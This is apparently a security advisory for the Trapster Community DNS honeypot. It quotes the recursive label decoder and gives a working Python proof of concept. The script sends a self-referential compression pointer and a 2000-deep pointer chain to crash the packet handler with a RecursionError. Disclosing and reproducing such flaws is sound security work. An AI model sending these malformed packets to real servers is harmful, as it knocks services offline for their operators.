GHSA-mxwc-wh95-pw4g Trapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler

def decode_labels(message, offset):
    labels = []
    while True:
        length, = struct.unpack_from("!B", message, offset)
        if (length & 0xC0) == 0xC0:
            pointer, = struct.unpack_from("!H", message, offset)
            offset += 2
            return labels + decode_labels(message, pointer & 0x3FFF), offset   # <-- recurses per pointer
        ...

import asyncio, struct, socket, sys
from trapster.modules.dns import DnsHoneypot
from trapster.logger.base import BaseLogger

HOST, PORT = "127.0.0.1", 15353
captured_loop_exceptions = []

def build_benign_query(qname=b"example.com"):
    header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
    labels = b"".join(struct.pack("!B", len(p)) + p for p in qname.split(b".")) + b"\x00"
    return header + labels + struct.pack("!2H", 1, 1)

def build_self_pointer():
    header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
    name = struct.pack("!H", 0xC000 | 12)   # pointer to offset 12 == this name
    return header + name + struct.pack("!2H", 1, 1)

def build_pointer_chain(depth=2000):
    header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
    name = struct.pack("!H", 0xC000 | 18)
    qtail = struct.pack("!2H", 1, 1)
    chain = bytearray()
    for i in range(depth):
        chain += struct.pack("!H", 0xC000 | (18 + 2 * (i + 1)))
    chain += b"\x00"
    return header + name + qtail + bytes(chain)

def send_udp(payload, timeout=1.0):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.settimeout(timeout)
    s.sendto(payload, (HOST, PORT))
    try: return s.recvfrom(4096)[0]
    except socket.timeout: return None
    finally: s.close()

async def main():
    loop = asyncio.get_running_loop()
    def handler(loopobj, context):
        exc = context.get("exception")
        captured_loop_exceptions.append((repr(exc), context.get("message")))
        print(f"[loop-exception-handler] {type(exc).__name__ if exc else None}: {context.get('message')}")
    loop.set_exception_handler(handler)

    hp = DnsHoneypot(config={"port": PORT, "target_dns": "127.0.0.1"},
                     logger=BaseLogger(node_id="e2e"), bindaddr=HOST)
    await hp.start(); await asyncio.sleep(0.4)
    print(f"[deploy] DnsHoneypot listening on udp://{HOST}:{PORT}\n")

    print("=== NEGATIVE CONTROL: benign query example.com A ===")
    captured_loop_exceptions.clear(); send_udp(build_benign_query()); await asyncio.sleep(0.3)
    print(f"  loop exceptions after benign packet: {len(captured_loop_exceptions)}")
    assert len(captured_loop_exceptions) == 0
    print("  -> benign packet parsed cleanly, no exception\n")

    print("=== VECTOR A: single self-referential compression pointer (cycle) ===")
    captured_loop_exceptions.clear(); pkt = build_self_pointer()
    print(f"  packet ({len(pkt)} bytes) name field = pointer 0xC00C -> offset 12 (itself)")
    send_udp(pkt); await asyncio.sleep(0.5)
    print(f"  loop exceptions captured: {len(captured_loop_exceptions)}")
    for e in captured_loop_exceptions: print(f"    {e}")
    assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
    print("  -> RecursionError escaped datagram_received (DoS, no cycle guard)\n")

    print("=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===")
    captured_loop_exceptions.clear(); pkt = build_pointer_chain(2000)
    print(f"  packet ({len(pkt)} bytes) = 2000-deep forward pointer chain")
    send_udp(pkt); await asyncio.sleep(0.5)
    print(f"  loop exceptions captured: {len(captured_loop_exceptions)}")
    for e in captured_loop_exceptions: print(f"    {e}")
    assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
    print("  -> RecursionError escaped datagram_received (DoS, no depth bound)\n")

    await hp.stop(); print("ALL ASSERTIONS PASSED")

if __name__ == "__main__":
    sys.setrecursionlimit(1000)
    asyncio.run(main())